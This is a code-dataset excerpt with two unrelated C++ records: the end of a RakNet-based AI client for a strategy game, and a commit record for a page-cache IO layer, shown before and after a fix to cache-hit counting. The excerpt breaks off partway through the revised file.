UnitSyncInfo> mArmies;\n uint32_t mGroup;\n float mValue;\n Type mStep = Type::defense;\n struct TeamInfo final {\n std::set<uint32_t> current;\n uint32_t size;\n Vector2 object;\n };\n std::vector<TeamInfo> mTeams;\n std::vector<uint32_t> mFree;\n Vector2 mRoot;\npublic:\n AI() :mValue(0.0f) {\n std::vector<std::string> units;\n listDirs(\"res\/units\", units);\n for (auto&& x : units) {\n uniqueRAII<Properties> info = Properties::create((\"res\/units\/\" + x + \"\/unit.info\").c_str());\n auto tname = info->getString(\"AIType\", \"discover\");\n if (tname == \"attack\")mUnits[x] = Type::attack;\n else if (tname == \"defense\")mUnits[x] = Type::defense;\n else mUnits[x] = Type::discover;\n }\n }\n\n void connect(const SendFunc& send, const std::string& map, uint8_t group) {\n mSend = send;\n uniqueRAII<Properties> info = Properties::create((\"res\/maps\/\" + map + \"\/map.info\").c_str());\n const char* id;\n Vector2 tmp;\n while ((id = info->getNextProperty()) && info->getVector2(id, &tmp))\n mKeyPoint.emplace_back(tmp \/ 512.0f* 10000.0f - Vector2{ 5000.0f, 5000.0f });\n mGroup = group;\n }\n\n void setRoot(const Vector2 root) {\n mRoot = root;\n }\n\n void updateUnit(const UnitSyncInfo& info) {\n if (info.group == mGroup)\n mMine[info.id] = info;\n else\n mArmies[info.id] = info;\n }\n\n void newUnit(const UnitSyncInfo& info) {\n updateUnit(info);\n mValue += (info.group == mGroup) ? 0.5f : -1.0f;\n if(info.group==mGroup)\n mFree.emplace_back(info.id);\n }\n\n void deleteUnit(uint32_t id) {\n if (mMine.find(id) != mMine.cend())\n mMine.erase(id), --mValue;\n else \n mArmies.erase(id), mValue += 0.5f;\n }\n\n void send(const TeamInfo& info) {\n RakNet::BitStream data;\n data.Write(ClientMessage::setMoveTarget);\n data.Write(info.object);\n for (auto&& x : info.current)\n data.Write(x);\n mSend(data, PacketPriority::HIGH_PRIORITY, PacketReliability::RELIABLE_ORDERED);\n }\n\n void send(uint16_t id, uint16_t weight) {\n RakNet::BitStream data;\n data.Write(ClientMessage::changeWeight);\n data.Write(id);\n data.Write(weight);\n mSend(data, PacketPriority::MEDIUM_PRIORITY, PacketReliability::RELIABLE);\n }\n\n void clearTeams(){\n for (auto&& x : mTeams)\n for (auto&& u : x.current) \n if (mMine.find(u) != mMine.cend())\n mFree.emplace_back(u);\n mTeams.clear();\n }\n\n void update() {\n\n auto old = mStep;\n \/\/discover\n if (mValue > -20.0f || mArmies.empty())mStep = Type::discover;\n \/\/attack\n if (mValue > 100.0f || (mArmies.size() && \n mArmies.size() * 5 < mMine.size())) mStep = Type::attack;\n \/\/defense\n if (mValue<-10.0f || mArmies.size()>0.2*mMine.size())mStep = Type::defense;\n\n if (old != mStep) {\n std::cout << \"Switch state : \";\n switch (mStep) {\n case Type::attack:std::cout << \"attack\";\n break;\n case Type::defense:std::cout << \"defense\";\n break;\n case Type::discover:std::cout << \"discover\";\n break;\n default:\n break;\n }\n std::cout << std::endl;\n uint16_t id=0;\n for (auto&& x : mUnits) {\n if (x.second == mStep)\n send(id, 1000);\n ++id;\n }\n clearTeams();\n\n switch (mStep) {\n case Type::attack:\n {\n }\n break;\n case Type::defense:\n {\n TeamInfo team;\n team.object = mRoot;\n team.size = std::numeric_limits<uint32_t>::max();\n send(team);\n mTeams.emplace_back(team);\n uint16_t id = 0;\n for (auto&& x : mUnits) {\n if (x.second != Type::defense)\n send(id, 1);\n ++id;\n }\n }\n break;\n case Type::discover:\n {\n for (auto&& x : mKeyPoint) {\n TeamInfo team;\n team.size = 3;\n team.object = x;\n mTeams.emplace_back(team);\n }\n }\n break;\n default:\n break;\n }\n }\n\n if (mStep == Type::attack) {\n clearTeams();\n\n std::map<Vector2, uint32_t> find;\n for (auto&& x : mArmies) {\n auto&& info = x.second;\n if (info.group != mGroup) {\n Vector2 p{ info.pos.x,info.pos.z };\n bool flag = true;\n for (auto&& x : find) {\n if (x.first.distanceSquared(p) < 90000.0f) {\n ++x.second, flag = false;\n break;\n }\n }\n if (flag)find[p] = 1;\n }\n }\n\n for (auto&& x : find) {\n TeamInfo team;\n team.size = x.second*1.5;\n team.object = x.first;\n mTeams.emplace_back(team);\n }\n }\n\n std::remove_if(mFree.begin(), mFree.end(),\n [this](uint32_t id) {return mMine.find(id) == mMine.cend(); });\n\n if (mStep == Type::discover && mFree.size() > 5) {\n TeamInfo team;\n team.size = 3;\n team.object = { mt() % 10000 - 5000.0f,mt() % 10000 - 5000.0f };\n mTeams.emplace_back(team);\n }\n\n for (auto&& x : mTeams) {\n if (mFree.empty())continue;\n std::set<uint32_t> deferred;\n for (auto&& id : x.current)\n if (mMine.find(id) == mMine.cend())\n deferred.insert(id);\n for (auto&& y : deferred)\n x.current.erase(y);\n uint32_t size = std::min(mFree.size(), x.size - x.current.size());\n std::partial_sort(mFree.begin(), mFree.begin() + size, mFree.end(), \n [this,&x](uint32_t a,uint32_t b) {\n return x.object.distanceSquared({ mMine[a].pos.x,mMine[a].pos.z }) >\n x.object.distanceSquared({ mMine[b].pos.x,mMine[b].pos.z });\n });\n for (auto i = 0; i < size; ++i)\n x.current.insert(*(mFree.rbegin() + i));\n mFree.resize(mFree.size() - size);\n send(x);\n }\n\n std::map<uint32_t, uint32_t> attackMap;\n for (auto&& x : mMine) {\n float md = std::numeric_limits<float>::max();\n uint32_t maxwell=0;\n for (auto&& y : mArmies) {\n auto dis = y.second.pos.distanceSquared(x.second.pos);\n if (dis < md)md = dis, maxwell = y.first;\n }\n if (maxwell) attackMap[x.first] = maxwell;\n }\n if (attackMap.size()) {\n RakNet::BitStream data;\n data.Write(ClientMessage::setAttackTarget);\n for (auto&& x : attackMap){\n data.Write(x.first);\n data.Write(x.second);\n }\n mSend(data, PacketPriority::HIGH_PRIORITY, PacketReliability::RELIABLE);\n }\n\n }\n} tinyAI;\n\n#define FORNET for (auto packet = peer.Receive(); packet; peer.DeallocatePacket(packet), packet = peer.Receive())\n\nint main() {\n RakNet::RakPeer peer;\n RakNet::SocketDescriptor SD;\n peer.Startup(1, &SD, 1);\n std::cout << \"Input group:\" << std::endl;\n uint16_t group;\n std::cin >> group;\n std::cout << \"Scanning servers...\" << std::endl;\n std::string str;\n std::set<RakNet::SystemAddress> ban;\n RakNet::SystemAddress server;\n while (true) {\n peer.Ping(\"255.255.255.255\", 23333, false);\n FORNET{\n if (packet->data[0] == ID_UNCONNECTED_PONG &&\n ban.find(packet->systemAddress) == ban.cend()) {\n std::cout << \"Find server \" << packet->systemAddress.ToString() << std::endl;\n std::cout << \"Shall we connect it?(y\/n)\" << std::endl;\n char c;\n std::cin >> c;\n if (c == 'y') {\n server = packet->systemAddress;\n auto res = peer.Connect(server.ToString(false), 23333, nullptr,0);\n if (res == RakNet::CONNECTION_ATTEMPT_STARTED) {\n while (peer.NumberOfConnections() != 1)\n std::this_thread::sleep_for(1ms);\n std::cout << \"OK!\" << std::endl;\n peer.DeallocatePacket(packet);\n goto p1;\n }\n }\n else ban.insert(packet->systemAddress);\n }\n }\n std::this_thread::sleep_for(1ms);\n }\np1:\n {\n RakNet::BitStream data;\n data.Write(ClientMessage::changeGroup);\n data.Write(static_cast<uint8_t>(group));\n peer.Send(&data, PacketPriority::IMMEDIATE_PRIORITY,\n PacketReliability::RELIABLE_ORDERED, 0, server, false);\n }\n\n while (true) {\n FORNET{\n CheckBegin;\n CheckHeader(ServerMessage::info) {\n RakNet::BitStream data(packet->data, packet->length,false);\n data.IgnoreBytes(1 + sizeof(uint64_t));\n RakNet::RakString str;\n data.Read(str);\n tinyAI.connect([&](const RakNet::BitStream& data, PacketPriority pp, PacketReliability pr) {\n peer.Send(&data, pp, pr, 0, server, false);\n },str.C_String(),group);\n }\n CheckHeader(ServerMessage::go) {\n RakNet::BitStream data(packet->data, packet->length,false);\n data.IgnoreBytes(1);\n Vector2 p;\n data.Read(p);\n tinyAI.setRoot(p);\n std::cout << \"Go!\" << std::endl;\n goto p2;\n }\n }\n std::this_thread::sleep_for(1ms);\n }\np2:\n struct UnitInfo final {\n uint32_t id;\n Vector3 pos;\n bool operator<(const UnitInfo& rhs) const {\n return id < rhs.id;\n }\n };\n\n bool isStop = false;\n std::set<uint32_t> old;\n\n auto begin = std::chrono::system_clock::now();\n while (true) {\n std::vector<unsigned char> latestData;\n FORNET{\n if (isStop)continue;\n RakNet::BitStream data(packet->data, packet->length, false);\n data.IgnoreBytes(1);\n CheckBegin;\n CheckHeader(ServerMessage::out) {\n std::cout << \"What a pity!\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::stop) {\n std::cout << \"The game stopped.\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::win) {\n std::cout << \"We are winner!\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::updateUnit) {\n latestData = std::vector<unsigned char>(packet->data, packet->data + packet->length);\n }\n }\n if (isStop ||\n peer.GetConnectionState(server) != RakNet::ConnectionState::IS_CONNECTED)break;\n if (latestData.empty())continue;\n\n uint32_t mine = 0, armies = 0;\n std::set<uint32_t> copy = old;\n\n RakNet::BitStream latest(latestData.data(), latestData.size(), false);\n latest.IgnoreBytes(1);\n uint32_t size;\n latest.Read(size);\n for (uint32_t i = 0; i < size; ++i) {\n UnitSyncInfo u;\n latest.Read(u);\n auto iter = copy.find(u.id);\n if (iter == copy.cend()) {\n old.insert(u.id);\n tinyAI.newUnit(u);\n }\n else {\n copy.erase(iter);\n tinyAI.updateUnit(u);\n }\n if (u.group == group)\n ++mine;\n else\n ++armies;\n }\n\n for (auto&& x : copy)\n tinyAI.deleteUnit(x);\n\n tinyAI.update();\n\n std::cout << \"mine:\" << mine << \" armies:\" << armies << std::endl;\n std::this_thread::sleep_for(1s);\n }\n\n auto second = std::chrono::duration_cast<std::chrono::seconds>(std::chrono::system_clock::now() - begin).count();\n std::cout << \"time:\" << second \/ 60 << \":\" << second % 60 << std::endl;\n\n peer.Shutdown(500, 0, IMMEDIATE_PRIORITY);\n std::cin.get();\n std::cin.get();\n return 0;\n}\n\n#undef FORNET\n<|endoftext|>"} {"text":"<commit_before>#include \"global_cached_private.h\"\n\nstatic void __complete_req(io_request *orig, thread_safe_page *p)\n{\n\tint page_off = orig->get_offset() - ROUND_PAGE(orig->get_offset());\n\n\tp->lock();\n\tif (orig->get_access_method() == WRITE) {\n\t\tunsigned long *l = (unsigned long *) ((char *) p->get_data()\n\t\t\t\t+ page_off);\n\t\tunsigned long start = orig->get_offset() \/ sizeof(long);\n\t\tif (*l != start)\n\t\t\tprintf(\"write: start: %ld, l: %ld, offset: %ld\\n\",\n\t\t\t\t\tstart, *l, p->get_offset() \/ sizeof(long));\n\t\tmemcpy((char *) p->get_data() + page_off, orig->get_buf(),\n\t\t\t\torig->get_size());\n\t\tp->set_dirty(true);\n\t}\n\telse \n\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\tmemcpy(orig->get_buf(), (char *) p->get_data() + page_off,\n\t\t\t\torig->get_size());\n\tp->unlock();\n\tp->dec_ref();\n}\n\nclass read_page_callback: public callback\n{\npublic:\n\tint invoke(io_request *request) {\n\t\tio_request *orig = (io_request *) request->get_priv();\n\t\tthread_safe_page *p = (thread_safe_page *) orig->get_priv();\n\t\tstd::vector<io_request> reqs;\n\n\t\tp->lock();\n\t\tp->set_data_ready(true);\n\t\tp->set_io_pending(false);\n\t\tio_request *req = p->get_io_req();\n\t\tassert(req);\n\t\t\/\/ TODO vector may allocate memory and block the thread.\n\t\t\/\/ I should be careful of that.\n\t\twhile (req) {\n\t\t\treqs.push_back(*req);\n\t\t\treq = req->get_next_req();\n\t\t}\n\t\tp->unlock();\n\t\t\/\/ At this point, data is ready, so any threads that want to add\n\t\t\/\/ requests to the page will fail.\n\t\tp->reset_reqs();\n\n\t\tfor (unsigned i = 0; i < reqs.size(); i++) {\n\t\t\t__complete_req(&reqs[i], p);\n\t\t\tio_interface *io = reqs[i].get_io();\n\t\t\tif (io->get_callback())\n\t\t\t\tio->get_callback()->invoke(&reqs[i]);\n\t\t}\n\t\treturn 0;\n\t}\n};\n\nglobal_cached_io::global_cached_io(io_interface *underlying,\n\t\tlong cache_size, int cache_type) {\n\tcb = NULL;\n\tcache_hits = 0;\n\tthis->underlying = underlying;\n\tunderlying->set_callback(new read_page_callback());\n\tnum_waits = 0;\n\tthis->cache_size = cache_size;\n\tif (global_cache == NULL) {\n\t\tglobal_cache = create_cache(cache_type, cache_size);\n\t}\n}\n\nssize_t global_cached_io::access(io_request *requests, int num)\n{\n\tfor (int i = 0; i < num; i++) {\n\t\tssize_t ret;\n\t\toff_t old_off = -1;\n\t\toff_t offset = requests[i].get_offset();\n\t\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()\n\t\t\t\t->search(ROUND_PAGE(offset), old_off));\n\n\t\t\/*\n\t\t * the page isn't in the cache,\n\t\t * so the cache evict a page and return it to us.\n\t\t *\/\n\t\tif (old_off != ROUND_PAGE(offset) && old_off != -1) {\n\t\t\t\/\/ TODO handle dirty pages later.\n\t\t}\n\n\t\tp->lock();\n\t\tif (!p->data_ready()) {\n\t\t\tif(!p->is_io_pending()) {\n\t\t\t\tp->set_io_pending(true);\n\t\t\t\tassert(!p->is_dirty());\n\t\t\t\tp->unlock();\n\n\t\t\t\t\/\/ If the thread can't add the request as the first IO request\n\t\t\t\t\/\/ of the page, it doesn't need to issue a IO request to the file.\n\t\t\t\tint status;\n\t\t\t\tio_request *orig = p->add_first_io_req(requests[i], status);\n\t\t\t\tif (status == ADD_REQ_SUCCESS) {\n\t\t\t\t\tio_request req((char *) p->get_data(),\n\t\t\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ,\n\t\t\t\t\t\t\t\/*\n\t\t\t\t\t\t\t * it will notify the underlying IO,\n\t\t\t\t\t\t\t * which then notifies global_cached_io.\n\t\t\t\t\t\t\t *\/\n\t\t\t\t\t\t\tunderlying, (void *) orig);\n\t\t\t\t\tret = underlying->access(&req, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\tperror(\"read\");\n\t\t\t\t\t\texit(1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\/\/ If data is ready, the request won't be added to the page.\n\t\t\t\t\/\/ so just serve the data.\n\t\t\t\telse if (status == ADD_REQ_DATA_READY)\n\t\t\t\t\tgoto serve_data;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tp->unlock();\n\t\t\t\t\/\/ An IO request can be added only when the page is still\n\t\t\t\t\/\/ in IO pending state. Otherwise, it returns NULL.\n\t\t\t\tio_request *orig = p->add_io_req(requests[i]);\n\t\t\t\t\/\/ the page isn't in IO pending state any more.\n\t\t\t\tif (orig == NULL)\n\t\t\t\t\tgoto serve_data;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ If the data in the page is ready, we don't need to change any state\n\t\t\t\/\/ of the page and just read data.\n\t\t\tp->unlock();\nserve_data:\n\t\t\t__complete_req(&requests[i], p);\n\t\t\tif (get_callback())\n\t\t\t\tget_callback()->invoke(&requests[i]);\n#ifdef STATISTICS\n\t\t\tcache_hits++;\n#endif\n\t\t}\n\t}\n\treturn 0;\n}\n\nssize_t global_cached_io::access(char *buf, off_t offset,\n\t\tssize_t size, int access_method)\n{\n\tssize_t ret;\n\toff_t old_off = -1;\n\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()\n\t\t\t->search(ROUND_PAGE(offset), old_off));\n\n\t\/*\n\t * the page isn't in the cache,\n\t * so the cache evict a page and return it to us.\n\t *\/\n\tif (old_off != ROUND_PAGE(offset) && old_off != -1) {\n\t\t\/* \n\t\t * if the new page we get is dirty,\n\t\t * we need to write its data back to the file\n\t\t * before we can put data in the page. \n\t\t * Therefore, the data ready flag is definitely\n\t\t * not set yet.\n\t\t *\/\n\t\tif (p->is_dirty()) {\n\t\t\tunsigned long *l = (unsigned long *) p->get_data();\n\t\t\tunsigned long start = old_off \/ sizeof(long);\n\t\t\tif (*l != start)\n\t\t\t\tprintf(\"start: %ld, l: %ld\\n\", start, *l);\n\t\t\tunderlying->access((char *) p->get_data(),\n\t\t\t\t\told_off, PAGE_SIZE, WRITE);\n\t\t\tp->set_dirty(false);\n\t\t}\n\t}\n\n\tif (!p->data_ready()) {\n\t\t\/* if the page isn't io pending, set it io pending, and return\n\t\t * original result. otherwise, just return the original value.\n\t\t *\n\t\t * This is an ugly hack, but with this atomic operation,\n\t\t * I can avoid using locks.\n\t\t *\/\n\t\tif(!p->test_and_set_io_pending()) {\n\t\t\t\/* \n\t\t\t * Because of the atomic operation, it's guaranteed\n\t\t\t * that only one thread can enter here.\n\t\t\t * If other threads have reference to the page,\n\t\t\t * they must be waiting for its data to be ready.\n\t\t\t *\/\n\t\t\t\/*\n\t\t\t * It's possible that two threads go through here\n\t\t\t * sequentially. For example, the second thread already\n\t\t\t * sees the data isn't ready, but find io pending isn't\n\t\t\t * set when the first thread resets io pending.\n\t\t\t *\n\t\t\t * However, in any case, when the second thread comes here,\n\t\t\t * the data is already ready and the second thread should\n\t\t\t * be able to see the data is ready when it comes here.\n\t\t\t *\/\n\t\t\tif (!p->data_ready()) {\n\t\t\t\t\/*\n\t\t\t\t * No other threads set the page dirty at this moment,\n\t\t\t\t * because if a thread can set the page dirty,\n\t\t\t\t * it means the page isn't dirty and already has data\n\t\t\t\t * ready at the first place.\n\t\t\t\t *\/\n\t\t\t\tif (p->is_dirty())\n\t\t\t\t\tp->wait_cleaned();\n\t\t\t\tret = underlying->access((char *) p->get_data(),\n\t\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ);\n\t\t\t\tif (ret < 0) {\n\t\t\t\t\tperror(\"read\");\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tp->set_data_ready(true);\n\t\t\tp->set_io_pending(false);\n\t\t}\n\t\telse {\n\t\t\tnum_waits++;\n\t\t\t\/\/ TODO this is a problem. It takes a long time to get data\n\t\t\t\/\/ from real storage devices. If we use busy waiting, \n\t\t\t\/\/ we just waste computation time.\n\t\t\tp->wait_ready();\n\t\t}\n\t}\n\telse {\n#ifdef STATISTICS\n\t\tcache_hits++;\n#endif\n\t}\n\tint page_off = offset - ROUND_PAGE(offset);\n\tp->lock();\n\tif (access_method == WRITE) {\n\t\tunsigned long *l = (unsigned long *) ((char *) p->get_data() + page_off);\n\t\tunsigned long start = offset \/ sizeof(long);\n\t\tif (*l != start)\n\t\t\tprintf(\"write: start: %ld, l: %ld, offset: %ld\\n\",\n\t\t\t\t\tstart, *l, p->get_offset() \/ sizeof(long));\n\t\tmemcpy((char *) p->get_data() + page_off, buf, size);\n\t\tp->set_dirty(true);\n\t}\n\telse \n\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\tmemcpy(buf, (char *) p->get_data() + page_off, size);\n\tp->unlock();\n\tp->dec_ref();\n\tret = size;\n\treturn ret;\n}\n\nint global_cached_io::preload(off_t start, long size) {\n\tif (size > cache_size) {\n\t\tfprintf(stderr, \"we can't preload data larger than the cache size\\n\");\n\t\texit(1);\n\t}\n\n\t\/* open the file. It's a hack, but it works for now. *\/\n\tunderlying->init();\n\n\tassert(ROUND_PAGE(start) == start);\n\tfor (long offset = start; offset < start + size; offset += PAGE_SIZE) {\n\t\toff_t old_off = -1;\n\t\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()->search(ROUND_PAGE(offset), old_off));\n\t\tif (!p->data_ready()) {\n\t\t\tssize_t ret = underlying->access((char *) p->get_data(),\n\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ);\n\t\t\tif (ret < 0) {\n\t\t\t\tperror(\"read\");\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t\tp->set_io_pending(false);\n\t\t\tp->set_data_ready(true);\n\t\t}\n\t}\n\t\/* close the file as it will be opened again in the real workload. *\/\n\tunderlying->cleanup();\n\treturn 0;\n}\n\npage_cache *global_cached_io::global_cache;\n<commit_msg>calculate cache hit rate correctly in global cache IO.<commit_after>#include \"global_cached_private.h\"\n\nstatic void __complete_req(io_request *orig, thread_safe_page *p)\n{\n\tint page_off = orig->get_offset() - ROUND_PAGE(orig->get_offset());\n\n\tp->lock();\n\tif (orig->get_access_method() == WRITE) {\n\t\tunsigned long *l = (unsigned long *) ((char *) p->get_data()\n\t\t\t\t+ page_off);\n\t\tunsigned long start = orig->get_offset() \/ sizeof(long);\n\t\tif (*l != start)\n\t\t\tprintf(\"write: start: %ld, l: %ld, offset: %ld\\n\",\n\t\t\t\t\tstart, *l, p->get_offset() \/ sizeof(long));\n\t\tmemcpy((char *) p->get_data() + page_off, orig->get_buf(),\n\t\t\t\torig->get_size());\n\t\tp->set_dirty(true);\n\t}\n\telse \n\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\tmemcpy(orig->get_buf(), (char *) p->get_data() + page_off,\n\t\t\t\torig->get_size());\n\tp->unlock();\n\tp->dec_ref();\n}\n\nclass read_page_callback: public callback\n{\npublic:\n\tint invoke(io_request *request) {\n\t\tio_request *orig = (io_request *) request->get_priv();\n\t\tthread_safe_page *p = (thread_safe_page *) orig->get_priv();\n\t\tstd::vector<io_request> reqs;\n\n\t\tp->lock();\n\t\tp->set_data_ready(true);\n\t\tp->set_io_pending(false);\n\t\tio_request *req = p->get_io_req();\n\t\tassert(req);\n\t\t\/\/ TODO vector may allocate memory and block the thread.\n\t\t\/\/ I should be careful of that.\n\t\twhile (req) {\n\t\t\treqs.push_back(*req);\n\t\t\treq = req->get_next_req();\n\t\t}\n\t\tp->unlock();\n\t\t\/\/ At this point, data is ready, so any threads that want to add\n\t\t\/\/ requests to the page will fail.\n\t\tp->reset_reqs();\n\n\t\tfor (unsigned i = 0; i < reqs.size(); i++) {\n\t\t\t__complete_req(&reqs[i], p);\n\t\t\tio_interface *io = reqs[i].get_io();\n\t\t\tif (io->get_callback())\n\t\t\t\tio->get_callback()->invoke(&reqs[i]);\n\t\t}\n\t\treturn 0;\n\t}\n};\n\nglobal_cached_io::global_cached_io(io_interface *underlying,\n\t\tlong cache_size, int cache_type) {\n\tcb = NULL;\n\tcache_hits = 0;\n\tthis->underlying = underlying;\n\tunderlying->set_callback(new read_page_callback());\n\tnum_waits = 0;\n\tthis->cache_size = cache_size;\n\tif (global_cache == NULL) {\n\t\tglobal_cache = create_cache(cache_type, cache_size);\n\t}\n}\n\nssize_t global_cached_io::access(io_request *requests, int num)\n{\n\tfor (int i = 0; i < num; i++) {\n\t\tssize_t ret;\n\t\toff_t old_off = -1;\n\t\toff_t offset = requests[i].get_offset();\n\t\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()\n\t\t\t\t->search(ROUND_PAGE(offset), old_off));\n\n\t\t\/*\n\t\t * the page isn't in the cache,\n\t\t * so the cache evict a page and return it to us.\n\t\t *\/\n\t\tif (old_off != ROUND_PAGE(offset) && old_off != -1) {\n\t\t\t\/\/ TODO handle dirty pages later.\n\t\t}\n\n\t\tp->lock();\n\t\tif (!p->data_ready()) {\n\t\t\tif(!p->is_io_pending()) {\n\t\t\t\tp->set_io_pending(true);\n\t\t\t\tassert(!p->is_dirty());\n\t\t\t\tp->unlock();\n\n\t\t\t\t\/\/ If the thread can't add the request as the first IO request\n\t\t\t\t\/\/ of the page, it doesn't need to issue a IO request to the file.\n\t\t\t\tint status;\n\t\t\t\tio_request *orig = p->add_first_io_req(requests[i], status);\n\t\t\t\tif (status == ADD_REQ_SUCCESS) {\n\t\t\t\t\tio_request req((char *) p->get_data(),\n\t\t\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ,\n\t\t\t\t\t\t\t\/*\n\t\t\t\t\t\t\t * it will notify the underlying IO,\n\t\t\t\t\t\t\t * which then notifies global_cached_io.\n\t\t\t\t\t\t\t *\/\n\t\t\t\t\t\t\tunderlying, (void *) orig);\n\t\t\t\t\tret = underlying->access(&req, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\tperror(\"read\");\n\t\t\t\t\t\texit(1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n#ifdef STATISTICS\n\t\t\t\t\tcache_hits++;\n#endif\n\t\t\t\t\t\/\/ If data is ready, the request won't be added to the page.\n\t\t\t\t\t\/\/ so just serve the data.\n\t\t\t\t\tif (status == ADD_REQ_DATA_READY)\n\t\t\t\t\t\tgoto serve_data;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tp->unlock();\n#ifdef STATISTICS\n\t\t\t\tcache_hits++;\n#endif\n\t\t\t\t\/\/ An IO request can be added only when the page is still\n\t\t\t\t\/\/ in IO pending state. Otherwise, it returns NULL.\n\t\t\t\tio_request *orig = p->add_io_req(requests[i]);\n\t\t\t\t\/\/ the page isn't in IO pending state any more.\n\t\t\t\tif (orig == NULL)\n\t\t\t\t\tgoto serve_data;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ If the data in the page is ready, we don't need to change any state\n\t\t\t\/\/ of the page and just read data.\n\t\t\tp->unlock();\n#ifdef STATISTICS\n\t\t\tcache_hits++;\n#endif\nserve_data:\n\t\t\t__complete_req(&requests[i], p);\n\t\t\tif (get_callback())\n\t\t\t\tget_callback()->invoke(&requests[i]);\n\t\t}\n\t}\n\treturn 0;\n}\n\nssize_t global_cached_io::access(char *buf, off_t offset,\n\t\tssize_t size, int access_method)\n{\n\tssize_t ret;\n\toff_t old_off = -1;\n\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()\n\t\t\t->search(ROUND_PAGE(offset), old_off));\n\n\t\/*\n\t * the page isn't in the cache,\n\t * so the cache evict a page and return it to us.\n\t *\/\n\tif (old_off != ROUND_PAGE(offset) && old_off != -1) {\n\t\t\/* \n\t\t * if the new page we get is dirty,\n\t\t * we need to write its data back to the file\n\t\t * before we can put data in the page. \n\t\t * Therefore, the data ready flag is definitely\n\t\t * not set yet.\n\t\t *\/\n\t\tif (p->is_dirty()) {\n\t\t\tunsigned long *l = (unsigned long *) p->get_data();\n\t\t\tunsigned long start = old_off \/ sizeof(long);\n\t\t\tif (*l != start)\n\t\t\t\tprintf(\"start: %ld, l: %ld\\n\", start, *l);\n\t\t\tunderlying->access((char *) p->get_data(),\n\t\t\t\t\told_off, PAGE_SIZE, WRITE);\n\t\t\tp->set_dirty(false);\n\t\t}\n\t}\n\n\tif (!p->data_ready()) {\n\t\t\/* if the page isn't io pending, set it io pending, and return\n\t\t * original result. otherwise, just return the original value.\n\t\t *\n\t\t * This is an ugly hack, but with this atomic operation,\n\t\t * I can avoid using locks.\n\t\t *\/\n\t\tif(!p->test_and_set_io_pending()) {\n\t\t\t\/* \n\t\t\t * Because of the atomic operation, it's guaranteed\n\t\t\t * that only one thread can enter here.\n\t\t\t * If other threads have reference to the page,\n\t\t\t * they must be waiting for its data to be ready.\n\t\t\t *\/\n\t\t\t\/*\n\t\t\t * It's possible that two threads go through here\n\t\t\t * sequentially. For example, the second thread already\n\t\t\t * sees the data isn't ready, but find io pending isn't\n\t\t\t * set when the first thread resets io pending.\n\t\t\t *\n\t\t\t * However, in any case, when the second thread comes here,\n\t\t\t * the data is already ready and the second thread should\n\t\t\t * be able to see the data is ready when it comes here.\n\t\t\t *\/\n\t\t\tif (!p->data_ready()) {\n\t\t\t\t\/*\n\t\t\t\t * No other threads set the page dirty at this moment,\n\t\t\t\t * because if a thread can set the page dirty,\n\t\t\t\t * it means the page isn't dirty and already has data\n\t\t\t\t * ready at the first place.\n\t\t\t\t *\/\n\t\t\t\tif (p->is_dirty())\n\t\t\t\t\tp->wait_cleaned();\n\t\t\t\tret = underlying->access((char *) p->get_data(),\n\t\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ);\n\t\t\t\tif (ret < 0) {\n\t\t\t\t\tperror(\"read\");\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tp->set_data_ready(true);\n\t\t\tp->set_io_pending(false);\n\t\t}\n\t\telse {\n\t\t\tnum_waits++;\n\t\t\t\/\/ TODO this is a problem. It takes a long time to get data\n\t\t\t\/\/ from real storage devices. If we use busy waiting, \n\t\t\t\/\/ we just waste computation time.\n\t\t\tp->wait_ready();\n\t\t}\n\t}\n\telse {\n#ifdef STATISTICS\n\t\tcache_hits++;\n#endif\n\t}\n\tint page_off = offset - ROUND_PAGE(offset);\n\tp->lock();\n\tif (access_method == WRITE) {\n\t\tunsigned long *l = (unsigned long *) ((char *) p->get_data() + page_off);\n\t\tunsigned long start = offset \/ sizeof(long);\n\t\tif (*l != start)\n\t\t\tprintf(\"write: start: %ld, l: %ld, offset: %ld\\n\",\n\t\t\t\t\tstart, *l, p->get_offset() \/ sizeof(long));\n\t\tmemcpy((char *) p->get_data() + page_off, buf, size);\n\t\tp->set_dirty(true);\n\t}\n\telse \n\t\t\/* I assume the data I read never crosses the page boundary *\/\n\t\tmemcpy(buf, (char *) p->get_data() + page_off, size);\n\tp->unlock();\n\tp->dec_ref();\n\tret = size;\n\treturn ret;\n}\n\nint global_cached_io::preload(off_t start, long size) {\n\tif (size > cache_size) {\n\t\tfprintf(stderr, \"we can't preload data larger than the cache size\\n\");\n\t\texit(1);\n\t}\n\n\t\/* open the file. It's a hack, but it works for now. *\/\n\tunderlying->init();\n\n\tassert(ROUND_PAGE(start) == start);\n\tfor (long offset = start; offset < start + size; offset += PAGE_SIZE) {\n\t\toff_t old_off = -1;\n\t\tthread_safe_page *p = (thread_safe_page *) (get_global_cache()->search(ROUND_PAGE(offset), old_off));\n\t\tif (!p->data_ready()) {\n\t\t\tssize_t ret = underlying->access((char *) p->get_data(),\n\t\t\t\t\tROUND_PAGE(offset), PAGE_SIZE, READ);\n\t\t\tif (ret < 0) 